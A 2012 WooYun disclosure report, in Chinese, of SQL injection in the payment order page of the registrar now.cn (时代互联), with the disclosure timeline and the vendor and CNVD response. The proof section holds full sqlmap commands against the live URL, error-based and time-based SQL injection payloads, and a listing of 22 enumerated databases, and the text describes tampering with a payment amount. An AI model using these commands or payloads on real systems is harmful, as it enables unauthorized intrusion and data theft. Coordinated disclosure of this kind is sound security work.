当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-014460

漏洞标题:时代互联主站继续注射

相关厂商:时代互联

漏洞作者: Wdot

提交时间:2012-11-07 11:24

修复时间:2012-12-22 11:24

公开时间:2012-12-22 11:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-07: 细节已通知厂商并且等待厂商处理中
2012-11-09: 厂商已经确认,细节仅向厂商公开
2012-11-19: 细节向核心白帽子及相关领域专家公开
2012-11-29: 细节向普通白帽子公开
2012-12-09: 细节向实习白帽子公开
2012-12-22: 细节向公众公开

简要描述:

刚看到 http://www.wooyun.org/bugs/wooyun-2012-012577
貌似在这个站注册过账户......
那么我也来试试吧,然后就......

详细说明:

本来呢,想找支付漏洞的,充值1W,改表单成1元,建行付款,成功付款了。返回商家的时候给个提示,说金额不符~,接着,我又来了一次,填金额的点提交之后条到一个地址,看这地址后面的整数,我加了一个邪恶的单引号,接着。。就邪恶了。。。

Screen Shot 2012-11-07 at 上午9.36.22.png


Screen Shot 2012-11-07 at 上午9.35.59.png


Screen Shot 2012-11-07 at 上午9.40.10.png

漏洞证明:

[ufo@UFO /tmp] $ sqlmap -u "http://www.now.cn/payment/order.net?IDAPayment=1312840" --batch --threads 10
sqlmap/1.0-dev-b7429dc - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:41:00
[09:41:01] [INFO] testing connection to the target url
[09:41:05] [WARNING] unknown web page charset 'none'. Please report by e-mail to sqlmap-users@lists.sourceforge.net.
[09:41:05] [INFO] testing if the url is stable, wait a few seconds
[09:41:10] [WARNING] url is not stable, sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on
[09:41:10] [INFO] how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[09:41:10] [INFO] testing if GET parameter 'IDAPayment' is dynamic
[09:41:11] [INFO] heuristics detected web page charset 'ascii'
[09:41:11] [INFO] confirming that GET parameter 'IDAPayment' is dynamic
[09:41:12] [WARNING] GET parameter 'IDAPayment' does not appear dynamic
[09:41:12] [INFO] testing for SQL injection on GET parameter 'IDAPayment'
[09:41:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:41:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[09:41:34] [INFO] GET parameter 'IDAPayment' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[09:41:34] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[09:41:35] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[09:42:25] [INFO] GET parameter 'IDAPayment' is 'MySQL > 5.0.11 AND time-based blind' injectable
[09:42:25] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[09:42:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[09:42:26] [WARNING] reflective value(s) found and filtering out
[09:42:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:43:08] [INFO] GET parameter 'IDAPayment' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 58 HTTP(s) requests:
---
Place: GET
Parameter: IDAPayment
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: IDAPayment=1312840 AND (SELECT 6090 FROM(SELECT COUNT(*),CONCAT(0x3a786e733a,(SELECT (CASE WHEN (6090=6090) THEN 1 ELSE 0 END)),0x3a7477723a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: IDAPayment=1312840 AND SLEEP(5)
---
[09:43:09] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
[09:43:09] [INFO] fetched data logged to text files under '/Volumes/pentest/database/sqlmap/output/www.now.cn'
[*] shutting down at 09:43:09
[ufo@UFO /tmp] $ sqlmap -u "http://www.now.cn/payment/order.net?IDAPayment=1312840" --batch --threads 10 --dbs
sqlmap/1.0-dev-b7429dc - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:47:00
[09:47:00] [INFO] resuming back-end DBMS 'mysql'
[09:47:01] [INFO] testing connection to the target url
[09:47:04] [WARNING] unknown web page charset 'none'. Please report by e-mail to sqlmap-users@lists.sourceforge.net.
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: IDAPayment
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: IDAPayment=1312840 AND (SELECT 6090 FROM(SELECT COUNT(*),CONCAT(0x3a786e733a,(SELECT (CASE WHEN (6090=6090) THEN 1 ELSE 0 END)),0x3a7477723a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: IDAPayment=1312840 AND SLEEP(5)
---
[09:47:04] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
[09:47:04] [INFO] fetching database names
[09:47:05] [INFO] heuristics detected web page charset 'ascii'
[09:47:05] [INFO] the SQL query used returns 22 entries
[09:47:05] [INFO] starting 10 threads
[09:47:06] [INFO] retrieved: information_schema
[09:47:07] [INFO] retrieved: ICPQY
[09:47:07] [INFO] retrieved: DomainMarket
[09:47:07] [INFO] retrieved: ICP
[09:47:07] [INFO] retrieved: DOCCenter
[09:47:07] [INFO] retrieved: DomainEx
[09:47:07] [INFO] retrieved: Global
[09:47:07] [INFO] retrieved: ICP_QY
[09:47:07] [INFO] retrieved: IPArea
[09:47:07] [INFO] retrieved: Mobile
[09:47:07] [INFO] retrieved: Tomcat
[09:47:08] [INFO] retrieved: db_now_net_cn
[09:47:08] [INFO] retrieved: db_now_net_cn_old
[09:47:08] [INFO] retrieved: mysql
[09:47:08] [INFO] retrieved: now_net_cn_bbs
[09:47:08] [INFO] retrieved: now_net_cn_expired
[09:47:08] [INFO] retrieved: now_net_cn_frozen
[09:47:08] [INFO] retrieved: now_net_cn_log
[09:47:08] [INFO] retrieved: proftpd
[09:47:08] [INFO] retrieved: staff_now_net_cn
[09:47:08] [INFO] retrieved: db_now_net_cn_bak
[09:47:09] [INFO] retrieved: todaymail
available databases [22]:
[*] db_now_net_cn
[*] db_now_net_cn_bak
[*] db_now_net_cn_old
[*] DOCCenter
[*] DomainEx
[*] DomainMarket
[*] Global
[*] ICP
[*] ICP_QY
[*] ICPQY
[*] information_schema
[*] IPArea
[*] Mobile
[*] mysql
[*] now_net_cn_bbs
[*] now_net_cn_expired
[*] now_net_cn_frozen
[*] now_net_cn_log
[*] proftpd
[*] staff_now_net_cn
[*] todaymail
[*] Tomcat
[09:47:09] [INFO] fetched data logged to text files under '/Volumes/pentest/database/sqlmap/output/www.now.cn'
[*] shutting down at 09:47:09

修复方案:

原来的洞不知是否补好,我没短信管理权限,权当补好了吧。
不能一个地方出漏子就仅补一个地方,要把同样的漏子都补好才叫补

版权声明:转载请注明来源 Wdot@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-11-09 15:41

厂商回复:

CNVD确认并复现所述情况(暂未对后台进行测试),已转由CNCERT广东分中心协调当地域名机构处置(时代互联为CNCERT广东分中心应急体系工作单位)。
按完全影响机密性进行评分,基本危害评分7.79,发现技术难度系数1.0,涉及行业或单位影响系数1.3,综合rank=7.79*1.0*1.3=10.127

最新状态:

暂无


漏洞评价:

评论